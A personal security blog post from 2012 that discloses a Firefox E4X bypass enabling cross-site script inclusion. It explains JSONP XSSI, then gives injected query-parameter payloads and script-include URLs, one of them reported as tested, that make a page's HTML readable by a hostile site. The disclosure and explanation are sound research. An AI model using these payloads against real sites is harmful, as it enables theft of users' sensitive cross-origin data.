Wednesday, October 3, 2012

My First 0day - FireFox - Questionably Useful XSSI Through E4X

While reading Michal Zalewski's (lcamtuf) "The Tangled Web", I was inspired to play with an example from the book. It highlighted an interesting variant on cross site script inclusion attacks that doesn't actually require JSONP, or for that matter, any JavaScript to be included in the application's response.

After contacting lcamtuf to see if my modified method of executing this attack was something that was well known or that he had seen, he told me that it looked like a bypass in one of the security features that Mozilla implements in E4X and that it might be worthwhile to contact them. After contacting Mozilla, I was informed that they probably won't patch it because they want to kill E4X anyways. Although one of the developers was pretty technical and was really cool about it. So no bounty for me but the bug is still interesting and as a bonus should work on all versions of FireFox prior to 17 (which is a few releases away)!

For those unfamiliar with cross site script inclusion attacks, I was going to try and 'borrow' someone else's explanation but I wasn't able to find any good ones. So bear with me because this could get ugly:

Traditional XSSI Description 

Traditionally XSSI occurs when JSONP is used by an application and the response includes sensitive data. So suppose there was some ridiculous web service exposed by an application that would show you your password if you had already logged in and had a valid session. Let's assume this crazy web service resides at the following URL:

And since we are assuming this crazy web service responds with JSONP, an example response could look like this:


The call to the service could be as simple as:

<script src=""></script>

The reason people use JSONP is exactly what makes it vulnerable. It is useful if you want javascript on non same origin sites to be able to access data from your web service. When the response is returned to this JSONP call, the showPassword function on the non same origin site is executed using the data that came from the source.

It should be obvious now that you don't want to use JSONP where sensitive data is involved since ANY external site can force the victim to make the request and steal the sensitive data!

(Ab)using E4X In Firefox for XSSI

Now here's where things get interesting. The FireFox JavaScript parser has an extension called ECMAScript for XML -- basically it allows simple, automatic conversion from XML to JSON, which sounds great. For example, you could have the following which would be equivalent:

var a = {"test":"123","test2":"567"}

var a = <test>123</test><test2>567</test2>

In fact, any well formed XML that doesn't begin with the <html> tag seems to pass right through the JavaScript parser! For example, the following script will go through the interpreter no problem:

<b>Some other html and stuff</b>
<p>This is supposed to be secret!</p>
<b>so is this</b>
<i>More html after</i>

Well suppose we have some page that echoes some user controlled data into it, for example it takes some query string parameters and includes them in the response. For example, consider the following Django template where {{paramX}} gets replaced by the appropriate query string parameter:
Request URL:{{param1}}&param2={{param2}}

<b>Some other html and stuff</b> {{param1}} 
<p>This is supposed to be secret!</p> 
<b>so is this</b>{{param2}} 
<i>More html after</i>

Now consider what happens when we set param1 and param2 as follows:
param1 = {x=
param2 = }

The application response will look like this:
<b>Some other html and stuff</b> {x= 
<p>This is supposed to be secret!</p> 
<b>so is this</b>} 
<i>More html after</i>

If an attacker includes this page in a script, as in an XSSI attack like the following example, he will have access to a global variable "x" which contains potentially sensitive data, everything occurring between param1 and param2!
<script src="{x%3d&param2=}"></script>

I've actually not tested the exact attack above, it is simpler than my original (tested) idea and probably works. The problem is FireFox has a security restriction that will be thrown if an entire script is composed of XML, but I think the above bypasses that:
"SyntaxError: XML can't be the whole program"

My original idea which definitely works uses the following URL for the attack, it accomplishes the same thing in a more complicated way:

<script src="<r><![CDATA[xxxThis%20line%20is%20injected...&param2=yyyThis%20line%20is%20the%20second%20injection point]]></r>).toString()%3balert(a)%3b"></script>

This script included on the attacker's page will look like:

<h1>This is the page title, it occurs before our injection point</h1>
var a = (<r><![CDATA[xxxThis line is injected...
<p> This is part of the page between the first injection point and second </p>
<a href='xxx'>So is this </a>
yyyThis line is the second injection point]]></r>).toString();alert(a);

The CDATA section wrapped in <r> tags makes it so newline characters within the stolen data don't screw up the javascript parser, but otherwise it's the same idea.

No comments:

Post a Comment